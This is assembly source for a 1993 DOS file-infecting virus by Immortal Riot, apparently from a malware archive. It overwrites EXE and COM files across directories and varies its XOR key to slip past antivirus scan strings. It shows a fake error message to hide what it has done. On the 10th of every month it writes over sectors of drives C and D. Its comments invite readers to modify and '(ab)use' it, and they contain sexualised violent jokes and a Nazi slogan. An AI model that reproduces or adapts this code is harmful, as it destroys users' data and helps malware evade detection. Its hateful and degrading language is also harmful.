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vxunderground
340 lines
17 KiB
NASM
340 lines
17 KiB
NASM
; VirusName: Raping Betrayals
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; Country : Sweden
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; Author : The Unforgiven / Immortal Riot
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; Date : 15/09/1993
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;
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;
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; This is an mutation of Misery from Immortal Riot.
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; I mutated this one, cuz Mcafee scan grabbed it
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; within one month after we released it. So, now
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; "Misery" is called "Raping Betrayls". Many
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; thanks to PCM2 for the original Leprosy virus.
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;
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; Okey..In this version I just changed the new
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; Mcafee "Scan-String", by remarking some calls.
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; I also added a day checker, and if the
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; virus (or a infected file) is run at the 10:th
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; any month, procedure "ellie" will go off..
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; Ellie is some sort of heart breaker!..<..hehe..>
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;
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; It copies itself into other exe/com files on the current
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; drive. The file-size will not be changed, cuz it just
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; replaces the code in the beginning with itselves. The
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; infected files will not work, instead the virus will
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; run again. The virus uses dot-dot metod for changing dirs.
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;
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; There has been many mutations born from Leprosy,
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; and here we give you yet another contribution...
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;
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; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
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; Havn't tried with TBScan/F-prot, but they will probably
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; identify it as "Leprosy".
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;
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; Regards : The Unforgiven / Immortal Riot
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Title Raping Betrayals ; By The Unforgiven / Immortal Riot
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cr equ 13 ; Carriage return ASCII code
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lf equ 10 ; Linefeed ASCII code
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tab equ 9 ; Tab ASCII code
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virus_size equ 664 ; Size of the virus file
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code_start equ 100h ; Address right after PSP in memory
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dta equ 80h ; Addr of default disk transfer area
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datestamp equ 24 ; Offset in DTA of file's date stamp
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timestamp equ 22 ; Offset in DTA of file's time stamp
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filename equ 30 ; Offset in DTA of ASCIIZ filename
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attribute equ 21 ; Offset in DTA of file attribute
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code segment 'code' ; Open code segment
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assume cs:code,ds:code ; One segment for both code & data
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org code_start ; Start code image after PSP
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; All executable code is contained in boundaries of procedure "main".
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; The following code, until the start of "virus_code", is the non-
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; encrypted CMT portion of the code to load up the real program.
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; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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main proc near ; Code execution begins here
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call encrypt_decrypt ; Decrypt the real virus code
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jmp random_mutation ; Put the virus into action
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encrypt_val db 00h ; Hold value to encrypt by here
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; Ä-ÄÄÄ--ÄÄ- Encrypt, save, and restore the virus code ÄÄÄ--ÄÄ--Ä-ÄÄ
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infect_file:
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mov bx,handle ; Get the handle
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push bx ; Save it on the stack
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; call encrypt_decrypt ; Encrypt most of the code
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pop bx ; Get back the handle
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mov dx,code_start ; Buffer where code starts in memory
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mov cx,virus_size ; Total number of bytes to write
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mov ah,40h ; DOS write-to-handle service
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int 21h ; Write the virus code into the file
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; call encrypt_decrypt ; Restore the code as it was
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call daycheck ; Call function who check's for day.
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ret ; Go back to where you came from
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; ÄÄ-ÄÄÄÄ-ÄÄ Encrypt or decrypt the virus code ; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄ-Ä
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encrypt_decrypt:
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mov bx,offset virus_code ; Get address to start
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; encrypt/decrypt
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xor_loop: ; Start cycle here
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mov ah,[bx] ; Get the current byte
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xor al,encrypt_val ; En/dis-engage XOR scheme on it
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mov [bx],ah ; Put it back where we got it
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inc bx ; Move BX ahead a byte
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cmp bx,offset virus_code+virus_size ; Are we at the end?
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jle xor_loop ; If not, do another cycle
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ret ; and go back where we came from
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; ÄÄ-ÄÄÄÄÄ---ÄÄÄÄÄ--ÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ----ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; The rest of the code from here on remains encrypted until run-time,
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; using a fundamental XOR technique that changes via CMT.
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; ÄÄ-ÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄ--ÄÄÄ---ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--Ä-Ä-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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virus_code:
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; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄ--ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; "All strings are kept here in the file, and automatically encrypted"
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; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but
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; the virus is pretty un-use-less if Mcafee scan catch is so, I
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; changed a few calls, and you can have phun with this again...
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; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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exe_filespec db "*.EXE",0 ; To infect EXE's
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com_filespec db "*.COM",0 ; To infect COM's
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newdir db "..",0 ; Move up one directory
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; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; Fake_msg is the message that will be printed on the screen, after
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; it has infected files (or when a infected file is run).
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; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
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fake_msg db cr,lf,"Program too big to fit in memory$"
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virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$"
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db " The Unforgiven / Immortal Riot " ; HUmm..that's me..
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db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie!
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db " Sweden 15/09/93 " ; written..
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; ÄÄ-ÄÄÄÄÄÄÄ----ÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; Okey..these messages just are just "file-size out-fillers" or something,
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; nothing important..so I remarked them, and the virus is a bit smaller...
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; also check in prodedure "Exit_virus" for more info about ‚m..
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;virus_msg2 db cr,lf,tab," Something was placed here before.. $"
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;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $"
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;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $"
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;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $"
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; ÄÄ-ÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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compare_buf db 20 dup (?) ; Buffer to compare files in
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files_found db ?
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files_infected db ?
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orig_time dw ?
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orig_date dw ?
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orig_attr dw ?
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handle dw ?
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success db ?
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random_mutation: ; First decide if virus is to mutate
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mov ah,2ch ; Set up DOS function to get time
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int 21h
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cmp encrypt_val,0 ; Is this a first-run virus copy?
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je install_val ; If so, install whatever you get.
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cmp dh,15 ; Is it less than 16 seconds?
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jg find_extension ; If not, don't mutate this time
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install_val:
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cmp dl,0 ; Will we be encrypting using zero?
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je random_mutation ; If so, get a new value.
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mov encrypt_val,dl ; Otherwise, save the new value
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find_extension: ; Locate file w/ valid extension
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mov files_found,0 ; Count infected files found
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mov files_infected,4 ; BX counts file infected so far
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mov success,0
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find_exe:
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mov cx,00100111b ; Look for all flat file attribs
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mov dx,offset exe_filespec ; Check for .EXE extension first
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je find_com ; If not, nothing more to do
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call find_healthy ; Try to find healthy .EXE
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find_com:
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mov cx,00100111b ; Look for all flat file attribs
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mov dx,offset com_filespec ; Check for .COM extension now
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je chdir ; If not, step back a directory
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call find_healthy ; Try to find healthy .COM
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chdir: ; Routine to step back one level
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mov dx,offset newdir ; Load DX with address of pathname
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mov ah,3bh ; Change directory DOS service
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int 21h
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dec files_infected ; This counts as infecting a file
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jnz find_exe ; If "yes", find another
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jmp exit_virus ; Otherwise let's pack it up
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find_healthy:
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mov bx,dta ; Point BX to address of DTA
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mov ax,[bx]+attribute ; Get the current file's attribs
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mov orig_attr,ax ; Save it
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mov ax,[bx]+timestamp ; Get current file's time stamp
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mov orig_time,ax ; Save it
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mov ax,[bx]+datestamp ; Get current file's data stamp
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mov orig_date,ax ; Save it
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mov dx,dta+filename ; Get filename to change attribute
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mov cx,0 ; Clear all attribute bytes
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mov al,1 ; Set attribute sub-function
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mov ah,43h ; Call DOS service to do it
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int 21h
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mov al,2 ; Open handle for read/write
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mov ah,3dh ; Open file handle DOS service
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int 21h
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mov handle,ax ; Save the file handle
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mov bx,ax ; Move the handle to BX for read
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mov cx,20 ; Read in the top 20 bytes of file
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mov dx,offset compare_buf ; Use the small buffer up top
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mov ah,3fh ; DOS read-from-handle service
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int 21h
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mov bx,offset compare_buf ; Adjust the encryption value
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mov ah,encrypt_val ; for accurate comparison
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mov [bx+6],ah
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mov si,code_start ; One array to compare is this file
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mov di,offset compare_buf ; The other array is the buffer
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mov ax,ds ; Transfer the DS register...
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mov es,ax ; ...to the ES register
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cld
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repe cmpsb ; Compare the buffer to the virus
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jne healthy ; If different, the file is healthy
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call close_file ; Close it up otherwise
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inc files_found ; Chalk up another fucked up file
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continue_search:
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mov ah,4fh ; Find next DOS function
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int 21h ; Try to find another file
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cmp ax,12h ; Are there any more files?
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je no_more_found ; If not, get outta here
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jmp find_healthy ; Try the process on this one
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no_more_found:
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ret ; Go back to where we came from
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healthy:
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mov bx,handle ; Get the file handle
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mov ah,3eh ; Close it for now
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int 21h
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mov ah,3dh ; Open it again, to reset it
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mov dx,dta+filename
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mov al,2
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int 21h
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mov handle,ax ; Save the handle again
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call infect_file ; Infect the healthy file
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call close_file ; Close down this operation
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inc success ; Indicate we did something this time
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dec files_infected ; Scratch off another file on agenda
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jz exit_virus ; If we're through, terminate
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jmp continue_search ; Otherwise, try another
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ret
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close_file:
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mov bx,handle ; Get the file handle off the stack
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mov cx,orig_time ; Get the date stamp
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mov dx,orig_date ; Get the time stamp
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mov al,1 ; Set file date/time sub-service
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mov ah,57h ; Get/Set file date and time service
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int 21h ; Call DOS
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mov bx,handle
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mov ah,3eh ; Close handle DOS service
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int 21h
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mov cx,orig_attr ; Get the file's original attribute
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mov al,1 ; Instruct DOS to put it back there
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mov dx,dta+filename ; Feed it the filename
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mov ah,43h ; Call DOS
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int 21h
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ret ; Returning to base...
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; ÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; ELLIE:
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; mov ah,09h ; Read under
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; mov dx,offset virus_msg1 ; for more
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; int 21h ; information
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;
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; Okey..If it's 10:th (any month), the virus will do something with
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; your hard-drives (..ellie..) which I finds to be real nasty ! If
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; you wanna check if the function day-check works, just un-mark
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; the tree lines under the first "ellie". and the virus_msg1
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; "Betrayal is a sin, if it comes from another" will be displayed.
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; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; Here is the real "Ellie"..Yeah..that's certainly her!
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; ÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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ELLIE: ; Here comes the bitch..
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cli ; Tigh her up!
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mov ah,2 ; starting with drive C
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cwd ; starting at sector 0
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mov cx,0100h ; write 256 sectors
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int 026h ; to protect and serve..
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jmp maria ; Next victim is Maria..
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MARIA: ;Yet another..
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MOV AL,3 ;Set to fry drive D
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MOV CX,700 ;Set to write 700 sectors
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MOV DX,00 ;Starting at sector 0
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MOV DS,[DI+99] ;Put random crap in DS
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MOV BX,[DI+55] ;More crap in BX
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CALL ELLIE ;Jump for joy!...
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; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
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; If you want Ellie to go off on some special month, just look at procedure
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; "Infect_file", and the call to daycheck. Change the call to Monthcheck,
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; and "delete" the ";" on procedure monthcheck. But remember, that makes,
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; the virus much less destructive, and by that time, all scanners has
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; probably added a new scan-string on this one. Now it will go off the
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; 10:th every month. Feel free to modify this as much you want to.
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; MONTHCHECK: ; Procudure to check
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; mov ah,2ah ; what month it is..
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; int 21h ; Dos to your service..
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; cmp dh,06 ; comp dh,06 (July, month 06)
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; je daycheck ; if month 06, jump to daycheck,
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; JMP something ; if not, just jump to something..
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; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
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Daycheck: ; check what day it is..
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mov ah,2ah ;
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int 21h ; Dos to your service..
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cmp dl,10 ; If it is the 10:th,
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je ellie ; if yes, have a great fuck..
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JMP something ; if not..just can tell you how sorry I'm !
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Something: ; Some stupid procedure..but remember..
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ret ; Arbeit Macht Frei !
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exit_virus:
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cmp files_found,15 ; Are at least 15 files infected?
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jl print_fake ; If not, keep a low profile
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cmp success,0 ; Did we infect anything?
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jg print_fake ; If so, cover it up
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mov ah,09h ; Use DOS print string service
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mov dx,offset virus_msg1 ; Load address of the first line
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int 21h ; Print it..
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; mov dx,offset virus_msg2 ; ---
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; int 21h ; Okey..mess(ages) 2-5 have been
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; mov dx,offset virus_msg3 ; removed from the code..too bad,
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; int 21h ; they were Metallica messages...
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; mov dx,offset virus_msg4 ; ---
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; int 21h ; Anyway, (ab)use this program, B4
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; mov dx,offset virus_msg5 ; Mcafee gets a new string for this
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; int 21h ; ---
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jmp terminate ; Jump to terminate..
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print_fake:
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mov ah,09h ; Print fake error message
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mov dx,offset fake_msg ; Print "fake_msg"
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int 21h ; Dos to your service..
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terminate: ; Get ready for quit this program
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mov ah,4ch ; DOS terminate process function
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int 21h ; Exit..
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filler db 8 dup (90h) ; Pad out to 666 bytes
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main endp
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code ends
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end main
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; Greeting goes out to : Raver, Metal Militia, Scavenver,
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; and of-cuz to Miss Perfect...ELLIE! |